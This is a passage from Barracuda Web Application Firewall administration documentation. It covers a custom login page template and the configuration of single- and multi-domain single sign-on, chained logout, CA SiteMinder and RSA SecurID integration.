box-shadow: 0 0 10px rgba(0, 0, 0, 0.75);
font: 12px helvetica neue,helvetica,arial;
left: 50%;
margin-left: -260px;
position: relative;
width: 520px;
html .form-page-title {
background-color: #D8D8DD;
background-image: -moz-linear-gradient(center top , #D8D8DD, #E3E3E6);
color: #000000;
font: bold 18px/20px arial !important;
height: 20px;
margin-bottom: -1px;
padding: 10px 15px;
html .form-signin h2 {

border-top-left-radius: 10px;
border-top-right-radius: 10px;
input[type="text"], input[type="password"] {
border: 1px solid #DDDDDD;
/*color: #333333;*/
/* html .form-signin .form-page-content, html .form-signin .page_content {
position: static;
*/
html #form-login-page {
overflow: hidden;
padding: 15px 30px !important;
html .form-field-text, .form-field-password {
background-image: -webkit-gradient(linear,left top,left bottom,from(#f8f8f8),to(#fff));
background-image: -moz-linear-gradient(top,#f8f8f8,#fff);
cursor: text;
display: block;
font: 18px/24px helvetica neue,helvetica,arial;
margin: 15px 0;
padding: 5px 10px;
position: relative;
width: 95%;
z-index: 1;
html .form-field-submit[type="submit"] {
background: #004e9e;
background: -webkit-gradient(linear, left top, left bottom, from(#0079be), to(#004e9e));
background: -moz-linear-gradient(top, #0079be, #004e9e);
border: medium none;
color: #FFFFFF;
display: inline-block;
font: 18px/38px helvetica neue,helvetica,arial;
height: 40px;
opacity: 0.9;
padding: 0 20px;

margin: 0 0 10px;
cursor: pointer;
position: relative;
text-decoration: none;
text-shadow: 0 -1px 1px rgba(0, 0, 0, 0.75);
html .form-field-submit[type="submit"]:hover, .form-field-submit:hover, .form-field-submit:focus, .form-field-submit:active {
opacity: 1;
html .form-field-align-right {
float: right;
html .form-field-submit .form-field-align-right {
margin: 15px 0;
html .form-signin-logo {
background-image:
url('data:image/png;base64,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');
background-repeat: no-repeat;
background-position: center center;
</style>
</head>
<body>
<div id="form-body">

<div id="form-content">
<div class="form-signin-logo">
</div>
<table class="form-signin-outer">
<tr>
<td class="form-signin-wrapper">
<div class="form-signin">
<h2 class="form-page-title">Authentication and Access Control</h2>
<div id="form-page-content" class="form-page-content">
<form id="form-login-page" action="/nclogin.submit" method="POST">
<div id="form-page-fields">
Please provide your username and password to access restricted applications.
<input type="text" name="f_username" id="username_entry" value=""

class="form-field-text" placeholder="Username" autocomplete="off">
<input type="password" name="f_passwd" id="password_entry" value=""

class="form-field-password" placeholder="Password" autocomplete="off">
<input type="hidden" name="f_method" id="method_entry" value="LOGIN"

class="form-field-text" placeholder="Method" autocomplete="off">
<input id="Submit" class="form-field-submit form-field-align-right" type="submit"

value="Sign in" name="Submit">
</div>
</form>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</body>
</html>
For more information, see How to Create a Custom Response Page.
Step 2. Configure the Barracuda Web Application Firewall to Use the Custom Login Page
To associate a custom login page with a service, do the following:
1. Go to the ACCESS CONTROL > Authentication Policies page.

2. In the Authentication Polices section:
a. Identify the service you want to associate with the custom login page.
b. Click Edit Authentication next to the service.
3. In the Edit Authentication Policies page:
4. Under Edit Authentication Policy, set Status to On, and select an Authentication Service to be used for authentication.
5. Under Access Control Pages, select the custom login page created in Step 1. Create a Custom Login Page from the Login Page dro
p-down list.
6. Specify values for other parameters as required and click Save.

In this article:
Single domain SSO

Setting up Single domain Single Sign-On Environment
Logout in Single domain Single Sign-On Environment
Multi-domain SSO
Multi-domain Single Sign-On Configuration
Multi-domain Single Sign-On Functionality
Setting up Multi-domain Single Sign-On Environment
Chained Logout in a Multi-domain Single Sign-On Session
Single Sign-On (SSO) is a mechanism where a single set of user credentials is used for authentication and authorization to access multiple
applications across different web servers and platforms, without having to re-authenticate.
The SSO system acts as a web gate for all inbound web traffic. When a user initially attempts to access the website, the user is challenged to
provide login credentials. If authentication succeeds, an SSO User Session Cookie is generated. The SSO User Session Cookie authenticates
the user for a period of time. If the log in fails, the authentication request is rejected.
The SSO environment protects defined resources (websites and applications) by requiring the following steps before granting access:
Authentication: Authentication verifies the identity of a user using login credentials.

Authorization: Authorization applies permissions to determine if this user may access the requested resource.
The Barracuda Web Application Firewall supports both single domain and multi-domain SSO.
Single domain SSO
Single domain SSO takes place within a single domain. For example, consider the domain barracuda.com which hosts several restricted
websites on several hosts. You can configure single sign-on for this domain, so that authenticated users can access all or a subset of the
restricted resources by authenticating just once.
Setting up Single domain Single Sign-On Environment

2. Identify the Service for which you want to set up single sign-on and click Edit next to that Service. The Edit Authentication Policy wind
ow appears.
3. In the Edit Authentication Policy section, set the Status to On.
4. Select the Authentication Service to be associated with the Service.
5. Set the Session-Cookie Domain to the domain name of the Services for which you are configuring single domain SSO. Example:
service1 and service2 both have .barracuda.com as the session cookie domain.
6. Click Save.
In a Single domain SSO set up, ensure that you configure the same Session Cookie Domain name for each service on the ACCESS
CONTROL > Authentication page.
Logout in Single domain Single Sign-On Environment
When a user logs out of a domain, the Barracuda Web Application Firewall removes the user session cookie from the browser by expiring it, so
the user is automatically logged out of other corresponding domains. For example, consider a user logged into host1.bc.com, host2.bc.com
and host3.bc.com using bc.com as the cookie domain. if the user performs a logout in host1.bc.com, the user session cookie is removed
from the browser, and the user is automatically logged out of host2.bc.com and host3.bc.com.
If the user does not access the SSO environment within the specified idle timeout, the user session becomes idle and the user is
challenged to provide login credentials to access the SSO environment again.
Multi-domain SSO
Multi-domain SSO enables a user authentication to be honored by hosts in two or more domains. For example, a set of URLs that reside within
the domains www.abc.com and www.xyz.com can be set to single sign-on.
To achieve a multi-domain single sign-on, a master domain is required for authentication. The Barracuda Web Application Firewall multi-domain
single sign-on environment can have one master domain and one or more slave domains. The master domain acts as a centralized
authentication server that authenticates the users and transfers the SSO User Session Cookie to the slave domains.

In a multi-domain single sign-on environment, each domain is responsible for maintaining and enforcing its own idle timeout. This means the
cookie value for different domains might be different. You have to configure the master service and the slave services on the Barracuda Web
Application Firewall on the ACCESS CONTROL > Authentication page.
Multi-domain Single Sign-On Configuration
For a multi-domain SSO environment, you should explicitly specify the master service and master service URL for the domains as explained
below:
Master Service: Specifies if the master service URL is handled by this service. When set to Yes, this service acts as the master domain
to the subsequent domains. When set to No, this service acts as the slave domain that accepts the cookie from the master domain.
Master Service URL: Specifies the URL that provides a cookie. In case of the master domain specify only the URL path, but for the
slave domains specify the protocol, host, master domain and URL path.
The master service URL should be a virtual URL (internal URL). For example, /ncsso.process, /index.html, etc. This
URL is used to identify the master service URL in a multi-domain environment.
A global ACL rule must be created for the specified master service URL on the SECURITY POLICIES > Global ACL's page
with the following configuration settings:
The parameter Action must be set to Allow.
The configured master service URL should be specified in the URL Match field.
For example, consider www.abc.com as the master domain and www.xyz.com as the slave domain. If the master service URL for the master
domain is /ncsso.process, then the master service URL for the slave domain is http://www.abc.com/ncsso.process .
Multi-domain Single Sign-On Functionality
If a user attempts to access the master domain first, the user is challenged to provide login credentials. On a successful login, the user gains
access to the master domain and to the slave domains. But if a user attempts to visit the slave domain first, the Barracuda Web Application
Firewall redirects the user to the master service URL for authentication, and challenges the user to provide login credentials. If successful, the
user gains access and is redirected to the requested domain.
For example, consider www.abc.com as the master domain and www.xyz.com as the slave domain. If a user attempts to access the master
domain first (www.abc.com), the user is challenged to provide login credentials. An SSO User Session Cookie is generated on a successful
login. Now, the user gains access and can navigate to the slave domains using the generated session cookie without having to re-authenticate.
If a user attempts to access the slave domain first (www.xyz.com), the Web application redirects the user to the master service URL for
authentication. The user is challenged to provide login credentials. If successful, SSO User Session Cookies are generated for both domains
(master and slave) and the user is allowed to access the slave domain.
Setting up Multi-domain Single Sign-On Environment
Steps to Configure Master domain:

2. Identify the Service that you want to configure as a master domain and click Edit next to that Service. The Edit Authentication Policy w
indow appears.
4. Select the Authentication Service to be associated with the Service.
5. Scroll down to the Single Sign On section and set Master Service to Yes. Note that this is the master service that provides the cookie
for the subsequent slave domains.
6. Specify the URL path in the Master Service URL field. The master service URL path can be any URL you choose. Example: /ncsso.p
rocess, /index.html, etc. Note that a global ACL rule must be created for the specified master service URL on the SECURITY
POLICIES > Global ACL's page. For more information, see Multi-domain Single Sign-On Configuration.
7. Click Save.
Steps to Configure Slave domain:

2. Identify a Service that you want to configure as a slave domain and click Edit next to that Service. The Edit Authentication Policy wind
ow appears.
4. Select the Authentication Service from the drop-down list to associate with the Service.
5. Scroll down to the Single Sign On section; set Master Service to No. Note that this is the slave service.
6. Specify the protocol, host, master domain and URL path in the Master Service URL field.
7. Click Save.
Chained Logout in a Multi-domain Single Sign-On Session

If logout is from the master domain, the Barracuda Web Application Firewall removes the master domain cookie from the browser by expiring it. If
logout is from the slave domain, the slave domain cookie is removed from the browser by expiring it, which redirects the user to the master
domain, and informs the master domain to logout the user (remove the master cookie).
For example, consider the case where three domains www.xyz.com, www.abc.com and www.def.com are a part of a multi-domain SSO
environment, with www.xyz.com as the master domain, and both www.abc.com and www.def.com as the slave domains. When a logout is
from the master domain (www.xyz.com), the user session cookie is removed from the browser by expiring it, which automatically accomplishes
logout of the corresponding domains (www.abc.com and www.def.com).
When a logout is from a slave domain (e.g., www.abc.com), the slave domain expires its cookie, redirects to the master domain (www.xyz.com)
, and requests the master domain to expire its cookie and log out. Then www.abc.com redirects the user to log out from www.def.com. To
achieve this, configure Auth Logout Success URL as http://www.def.com/nclogin.submit?f_method=LOGOUT for authentication of
www.abc.com.
In this case, the Auth Logout Success URL in www.abc.com is http://www.def.com/nclogin.submit?f_method=LOGOUT . This
assumes that 'nclogin.submit' is configured as the login-processor-path in www.def.com. Similarly for multiple slave domains; you need to
configure the same settings in www.def.com for the corresponding next domain and so on.
Steps involved in chained logout:
1. User performs a logout on www.abc.com. www.abc.com expires it's cookie, and redirects the user to www.xyz.com.
2. www.xyz.com expires its cookie and redirects the user back to www.abc.com
3. www.abc.com redirects the user to perform a logout on www.def.com
4. www.def.com expires its cookie and redirects the user to www.xyz.com
5. www.xyz.com simply redirects the user back to www.def.com, since its cookie has been expired in step 2.
6. The SSO User Session cookie of all the three domains has been removed from the browser.
7. This process can be extended for more slave domains by simply chaining the logout-success-url configuration in the authentication
container.
If the user does not access the SSO environment within the specified idle timeout, the session becomes idle and the user is challenged
to provide login credentials to access the SSO environment again.
Related Articles

In this article:
SiteMinder
Components in SiteMinder Setup
Single Sign-On (SSO) Setup
Single Sign-On (SSO)
SiteMinder SSO
How it works
Configuring SiteMinder SSO through Barracuda Web Application Firewall
Configuring SiteMinder Authentication Service
Configuring Authorization Policy
Configuring SiteMinder Single Sign-On
SiteMinder
The Barracuda Web Application Firewall integrates with CA/Netegrity SiteMinder to provide Single Sign-On and centralized management of Web
applications using the predefined security policies. It uniquely identifies users before they are authenticated as named users, and manages user’s
privileges to ensure that they access only authorized applications or operations.
The two significant components of SiteMinder are:
Web Agents – Integrated with a standard Web server or application server that enables SiteMinder to manage Web applications based
on the predefined security policies.
Policy Server – Provides Policy management and AAA functions within the SiteMinder framework.
Single Sign-On (SSO) Setup
In SiteMinder Single Sign-On (SSO), a user successfully authenticates through one agent and does not have to re-authenticate when accessing a
realm protected by a different agent. The two agents must be in the same cookie domain, for example: /abc.siteminder.com. CA SiteMinder
supports both single and multi-domain Single Sign-On. For more information about Single sign-on functionality, refer to How to Configure Single
Sign-On (SSO).
The ACCESS CONTROL > Authentication page provides two types of Single Sign-On:
Single Sign-On (SSO)
Supports single and multiple domains.

The Barracuda Web Application Firewall authenticates and authorizes users accessing the Web application.
SiteMinder SSO
Supports single and multiple domains.

Authentication and authorization is performed by the SiteMinder Policy Server. By default, the Barracuda Web Application Firewall is set
as an authorization agent for all authentication services. To change the Authorization Agent to SiteMinder, navigate to the ACCESS
CONTROL > Authorization page and click Edit next to the Service. See Configuring Authorization Policy.
How it works
The following steps describe how the Barracuda Web Application Firewall communicates with the Policy Server before granting access to the
protected resource.
1. The Barracuda Web Application Firewall intercepts requests and communicates with the Policy Server to determine whether the
requested resources are protected or not. For protected resources, users are redirected to a login page, and challenged to provide
credentials. If the resource is not protected, the user is allowed to access the requested resource instantly. Note: If a customized login
URL is defined in Auth Not Done URL on the ACCESS CONTROL > Authorization page, the user is redirected to that page for
authentication. If not, the user is redirected to the default login page.
2. User enters username and password.
3. The Barracuda Web Application Firewall transmits the credentials to the SiteMinder Policy Server for validation.
4. The SiteMinder Policy Server authenticates the user against the configured external user directories. The Policy Server supports LDAP,
Oracle, Microsoft SQL Server and custom user directories.
5. After successful authentication, the Barracuda Web Application Firewall communicates with the Policy Server to authorize the user.
During authorization, SiteMinder:
a. Checks the rules and policies assigned to the users and groups.
b. Generates an SSO token for the request.
6.

6. On successful authorization, SiteMinder sends the SSO token along with other information such as user details, session expiration time
and additional user attributes defined on the Policy Server if any.
7. The Barracuda Web Application Firewall uses the SSO token, appends the SMSESSION cookie to the request and allows access to the
protected resource.
8. When the user attempts to access another protected resource:
a. The Barracuda Web Application Firewall validates the user based on the contents of the SMSESSION cookie and
communicates with the Policy Server for authorization, without challenging the user for credentials.
b. If authorized, the user is allowed to access the protected resource and the information is stored in the cache.
Configuring SiteMinder SSO through Barracuda Web Application Firewall
The Barracuda Web Application Firewall requires the following configuration settings for SiteMinder SSO:
Pre-requisite:
1. Before enabling SiteMinder SSO on the Barracuda Web Application Firewall the administrator must configure the SiteMinder Policy
Server as follows:
a. SiteMinder Agent – Create an Agent with the Agent Type as SiteMinder and Web Agent. Note: The Name field in the Agent
Properties window must match the Agent Name parameter in the Barracuda Web Application Firewall configuration for
SITEMINDER server.
b. Agent Conf Objects – In Agent Configuration Objects Properties, do the following:
i. Add a new parameter AcceptTPCookie and set Value to Yes.
ii. Set DefaultAgentName to Agent Name parameter defined in Step 1a.
c. Host Conf Objects – In Host Configuration Object Properties, ensure the IP address and port numbers assigned to Policy
Server are correct. If the Policy Server is in a cluster, specify the IP addresses of all Policy Servers in the cluster.
d. Create a user directory with all user names to be authenticated by SiteMinder.
Create Realms and define rules and policies for the realm.You should create realms for each URL pattern you want to protect or
unprotect instead of protecting the root directory (/). For example “/images/logo.jpg”, “/images/banner.png” can be ignored from
protection, and “/finance/report.html”, “/server/login.html” can be configured to be protected. Note: The SiteMinder Realm is not
related with the Realm on the Barracuda Web Application Firewall. A realm in SiteMinder is a cluster of protected and
unprotected resources. The SiteMinder Realm and the corresponding policies determine the users and groups to be allowed for
a protected resource. Refer CA SiteMinder Policy Design Guide for more information on how to configure these objects.The
values configured on the Policy Server now need to be specified in the SITEMINDER tab under the ACCESS CONTROL >
Authentication Services page.
Note: The Barracuda Web Application Firewall uses “Custom Agent” capabilities of SiteMinder to provide authentication and authorization in a
Single Sign-On environment.
Configuring SiteMinder Authentication Service
The SiteMinder Policy Server must be specified as the authentication service on the ACCESS CONTROL > Authentication Services >
SITEMINDER tab. The Barracuda Web Application Firewall uses this information to communicate with the SiteMinder Policy Server to
authenticate a user.
To configure SITEMINDER authentication service:
1. From the ACCESS CONTROL > Authentication Services page select the SITEMINDER tab and specify values for the following:
a. Realm Name – Enter a name for the realm to identify this server in the Web interface.
b. Server IP – Enter the IP address of the SiteMinder Policy Server used for authenticating users.
c. Port – Enter the port number associated with the IP address of the SiteMinder Policy Server.
d. Admin – Enter the username of a user with privileges to access the SiteMinder Policy Server.
e. Password – Enter the password associated with the above username (Admin).
f. Agent Name – Enter the agent name of the SiteMinder Agent you configured in the SiteMinder Policy Server.
g. Host Conf Object – Enter the corresponding Host Configuration Object defined in the SiteMinder Policy Server.
2. Click Add to save your settings.
Configuring Authorization Policy
By default, the Barracuda Web Application Firewall is the authorization agent for Services associated with the LDAP, RADIUS and RSA
SECURID authentication services. If a Service is associated with the SITEMINDER authentication service, the authorization agent must be SiteM
inder to authorize the users accessing SiteMinder protected resources. To change the Authorization Agent, click Edit next to the SiteMinder
service on ACCESS CONTROL > Authorization and scroll down to the Advanced section. For more information on how to configure an
authorization policy, see Configuring Authorization Policy.
Configuring SiteMinder Single Sign-On
Configure the following the parameters to set up single sign-on (SSO) using SiteMinder:
1. From the ACCESS CONTROL > Authentication page identify the Service to which you want to enable SiteMinder SSO. Ensure the

1.
Service is associated with the SiteMinder authentication service.

2. Click Edit next to the Service. The Edit Authentication Policy window appears.
3. Scroll down to the SiteMinder SSO section and specify values for the following:
a. Cookie Provider – Set to Yes to enable this Service to act as a cookie provider agent to other agents that are in SiteMinder
SSO setup.
b. Cookie Provider URL – Specify the URL path of the cookie provider. This service acts as a cookie provider agent to other
agents that are in SiteMinder SSO setup.
c. Source IP Check – Set to Yes if you want to check the source IP address in the cookie while authenticating the user.
d. Session Validation Timeout – Specify the time interval in seconds for the Barracuda Web Application Firewall
to re-validate a session with the Policy Server.
e. Set-Cookie List – Specify the list of cookies as comma separated regular expressions. If the regex matches the requesting
URL, the corresponding cookie will be set in the redirect response to the Login page.
f. Idle Timeout URL – Specify a URL to which the user will be redirected after Idle Timeout is exceeded.
g. Idle Timeout Cookie – Specify a cookie name and value to be inserted in the redirect response to the client after the Idle
Timeout is exceeded.
h. Extended Idle Timeout – Set the maximum time (in minutes) that a user can remain idle, after which the user is redirected to
the configured Extended Idle Timeout URL.
i. Extended Idle Timeout URL – Specify a URL to which the user will be redirected once the Extended Idle Timeout is
exceeded.
j. Extended Idle Timeout Cookie – Specify a cookie name and value to be inserted in the redirect response to the client after the
Extended Idle Timeout is exceeded.
k. Single Session Per User – Set to Yes to allow only one active session per user.
l. Enable Debug Logs – Set to Yes to enable debug logs.
4. Click Save Changes to save your settings.
References:
For more information about the SiteMinder Policy Server and Web Agent Configuration, refer to SiteMinder Bookshelf.
Related Articles

How to Integrate RSA SecurID with the Barracuda Web Application Firewall
The Barracuda Web Application Firewall can be configured as a RADIUS client to the RSA SecurID Server System, comprised of the RSA
Authentication Manager and the Radius Server. Integrating the Barracuda Web Application Firewall with RSA SecurID requires three steps:
1. Configure the RSA Authentication Manager.

2. Configure the Barracuda Web Application Firewall.
3. Verify the Setup and Authentication Process.
Configure the RSA Authentication Manager
Perform the following settings on the RSA Authentication Manager Server:
1. Configure the RADIUS protocol settings to be used by the Barracuda Web Application Firewall
2. Add the Barracuda Web Application Firewall as an Agent Host within the RSA Authentication Manager's Database
3. Import SecurID Tokens
4. Add Users to the RSA Authentication Manager and Assign Tokens
Configure the RADIUS Protocol Settings
1. Before configuring the RADIUS protocol, ensure the RADIUS server is up and running on the RSA Authentication Manager Server
System. To check:
a. Go to Start > Programs > RSA Security and select RSA Authentication Manager Control Panel.
b. Select Start & Stop RSA Auth Mgr Services in the tree on the left pane. The Status of RSA RADIUS Server must be Runnin
g. If not, click Start RADIUS to bring it up.
2. On the RSA Authentication Manager Server System, go to Start > Programs > RSA Security and select RSA Authentication
Manager Host Mode. Select the RADIUS menu, and select Manage RADIUS Server.
3. When the RSA RADIUS window appears, select RADIUS Clients in the tree on the left pane.
4. Click Add. The Add RADIUS Client window appears.

a. Name – Enter the hostname of the Barracuda Web Application Firewall.
b. Description – Optional.
c. IP Address – Enter the IP address of the Barracuda Web Application Firewall.
d. Shared Secret – Type the secret key. You will need to configure the same Shared Secret on the Barracuda Web Application
Firewall in ACCESS CONTROL > Authentication Services > RSA SECURID.
e. Make/Model – Select Juniper-ERX.
6. Click OK to save your settings.
Add the Barracuda Web Application Firewall as an Agent Host
Manager Host Mode.
2. Select the Agent Host menu, and select Add Agent Host. The Add Agent Host window appears.
a.

3.
a. Name: Enter the hostname of the Barracuda Web Application Firewall.
b. Network Address: Enter the IP address of the Barracuda Web Application Firewall.
c. Agent Type: Select RADIUS Server.
d. Encryption Type: Select DES or SDI encryption.
e. Select Open to All Locally Known Users and Requires Name Lock.
4. Click User Activations... to assign users to the Agent host.
5. Click OK. Now, the Barracuda Web Application Firewall is added as an Agent Host on the RSA Authentication Manager.
Import SecurID Tokens
Manager Host Mode.
2. From the Token menu, select Import Tokens.
3. Navigate to the token XML file provided by RSA and click Open to import the tokens.
4. The Import Status window appears displaying the number of tokens imported.

Add Users to the RSA Authentication Manager and Assign Tokens
On the RSA Authentication Manager Server System, go to Start > Programs > RSA Security and select RSA Authentication Manager Host
Mode.
1. From the User menu, select Add User.
2. The Add User window appears. Specify values for the following fields:
a. First and Last Name – Enter a user's first and last name.
b. Default Login – Enter the default username that will be used by the user to log in.
3. Users on the RSA Server can be authenticated in two ways: Token Mode or Passcode Mode(default). In Token Mode, users
authenticate using the Tokencode currently generated by the RSA SecurID authenticator. In Passcode Mode, users authenticate using
a Passcode (Personal Identification Number (PIN) followed by the Tokencode).
The random unpredictable code generated by the RSA SecurID authenticator at an interval of every 60 seconds is known as T
okencode.

The combination of user’s PIN (Personal Identification Number) and the Tokencode currently generated by the user’s RSA
SecurID authenticator is the user’s Passcode.
A PIN can be generated:

a. If Allowed to Create a PIN or Required to Create a PIN is NOT selected, the system generates the PIN and gives it to the
user.
b. If Allowed to Create a PIN is selected, the user may choose to create a PIN or have the system generate the PIN.The user is
offered a system generated pin, and if declined, is prompted to enter a PIN.
c. If Required to Create a PIN is selected, the user must enter a PIN and is prompted to do so when logging in.
4. Select Allowed to Create a PIN or Required to Create a PIN as you prefer.
5. Select Assign Token. Click Yes to confirm. The Select Token window appears.
a. To automatically assign a token, select the method by which you want to sort the token using Sorted by in the Auto Select secti
on. Click Unassigned Token, and then click OK.
b. To manually select the token, click Select Token from List. In the Select Token window, select the serial number for the token
to assign, and click OK.
6. Give the user the serial number of the assigned token.
The RSA Authentication Manager configuration is now complete.
Configure the Barracuda Web Application Firewall
1. Add the RSA SecurID server as an Authentication Service on the Barracuda Web Application Firewall
2. Associate the RSA SecurID Authentication Service with a Service
3. Configure the authorization policy for the service
Add the RSA SecurID Server as an Authentication Service
On the Barracuda Web Application Firewall web interface, go to ACCESS CONTROL > Authentication Services:
1. Select the RSA SECURID tab, and specify values for the following fields:
a. Realm Name: Enter the realm name.
b. Server IP: Enter the IP address of the RSA Authentication Server.
c. Server Port: Default is 1812. If you aren't sure of the port, you can check on the RSA Authentication Manager Server system.
i. Go to Start > Programs > RSA Security.
ii. Select RSA Authentication Manager Host Mode.
iii. On the Agent Host menu, choose Edit Agent Host to verify the values.
d. Shared Secret: Provide the same Shared Secret you configured on the RSA Authentication Manager in the Configure the

d.
RADIUS Protocol Settings steps.

e. Timeout: Enter the time the Barracuda Web Application Firewall waits for a response from the RSA RADIUS Server before
retransmitting the packet.
f. Retries: Enter the maximum number of times the Barracuda Web Application Firewall transmits a request packet to the RSA
RADIUS server.
2. Click Add to save your settings.
Associate the RSA SecurID Authentication Service with a Service
On the Barracuda Web Application Firewall web interface, go to the ACCESS CONTROL > Authentication Policies page:
1. Click Edit Authentication next to the service that you want to associate with the RSA SecurID Authentication Service.
2. On the Edit Authentication Policy window:
b. From the Authentication Service list, select the RSA SecurID authentication service you created in Add the RSA SecurID
Server as an Authentication Service.
c. Specify values for other parameters, and click Save. For more information on how to configure an authentication policy, click Hel
p.
Configure the Authorization Policy for the Service
On the Barracuda Web Application Firewall web interface, go to the ACCESS CONTROL > Authentication Policies page:
1. Click Add Authorization next to the service for which you want to configure the authorization policy.
2. On the Add Authorization Policy window:
a. Policy Name: Enter a name for the authorization policy.
b. Status: Set to On.
c. Specify values for other parameters as required, and click Save. For more information on how to configure an authorization
policy, click Help.
4. Click Edit next to the policy in the Authentication Policies section to configure advanced authorization settings.
If you want users to authenticate using a custom login page when they attempt to access a resource protected by RSA SecurID, use
the advanced authorization configuration and set Auth Not Done URL to the custom login URL.
Authorization using RSA is not possible using the RADIUS protocol when communicating with the RSA SecurID Server. Native
authorization can be done through the Barracuda Web Application Firewall in this case.

Verify the Setup and Authentication Process
1. Navigate to the restricted URL by entering the IP address into the address bar of your web browser.
2. The default authentication page, or the custom login page for authentication if you configured it on ACCESS CONTROL > Authorization
, will be presented.
3. Depending on your configuration, you will be prompted to enter your username and password. If configured in Passcode mode, you will
be offered a system generated PIN, or instructed to provide a PIN.
System Generated Pin Screens

User Generated Pin Screens

4. To verify your login results, navigate to BASIC > Access Logs on your Barracuda Web Application Firewall and enable the Login
column by selecting the Login checkbox under the Detail column.

How to Integrate CA SiteMinder with the Barracuda Web Application Firewall
Overview
CA/Netegrity SiteMinder provides an infrastructure for centralized and secure policy management of websites. It uniquely identifies users before
they are authenticated as named users, and manages user privileges to ensure that they access only authorized applications or operations.
The two significant components of SiteMinder are:
Web Agents – Integrated with a standard web server or application server to enable SiteMinder to manage web applications using
predefined security policies.
Policy Server – Provides Policy management and AAA functions within the SiteMinder framework.
To integrate the Barracuda Web Application Firewall with CA/Netegrity SiteMinder, perform the following steps:
1. Configure the Netegrity SiteMinder Policy Server

2. Configure the Barracuda Web Application Firewall
3. Verify the Setup
Configure the Netegrity SiteMinder Policy Server
The images captured in the following steps are taken from the Netegrity SiteMinder Policy Server Version 6.0 SP4. The screens
may vary depending on the version you are using.
Follow these steps on the Netegrity SiteMinder Policy Server:
1. Create an Agent in the SiteMinder Policy Server

2. Create an Agent Configuration Object
3. Create a Host Conf Object
4. Create a User Directory with All User Names to be Authenticated by SiteMinder
5. Create a Domain for the User Directory
6. Create a Realm and Associate the Agent with the Realm
7. Create Rules for the Realm
